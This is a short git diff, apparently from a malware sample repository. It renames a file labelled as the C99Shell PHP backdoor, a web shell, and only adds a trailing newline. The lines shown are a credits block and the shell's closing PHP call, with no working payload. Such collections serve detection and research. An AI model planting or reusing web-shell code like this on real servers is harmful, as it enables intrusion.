diff --git a/PHP/Backdoor.PHP.C99Shell.ag b/PHP/Backdoor.PHP.C99Shell.UnknownSub.a
similarity index 98%
rename from PHP/Backdoor.PHP.C99Shell.ag
rename to PHP/Backdoor.PHP.C99Shell.UnknownSub.a
index b3eb6afc..0b1a5e88 100644
--- a/PHP/Backdoor.PHP.C99Shell.ag
+++ b/PHP/Backdoor.PHP.C99Shell.UnknownSub.a
@@ -3010,4 +3010,4 @@ if ($act == "about") {echo "<center><b>Credits:<br>Idea, leading and coding by t
  <b><font color="#FFFF00">----{ </font>
  <a href="http://www.geocities.com/real_maximizer/"><font color="#FFFF00">[I-_-I] BrainScan 
  }----</font></p></a></b></td></tr></table>
-</body></html><?php chdir($lastdir); c99shexit(); ?>
\ No newline at end of file
+</body></html><?php chdir($lastdir); c99shexit(); ?>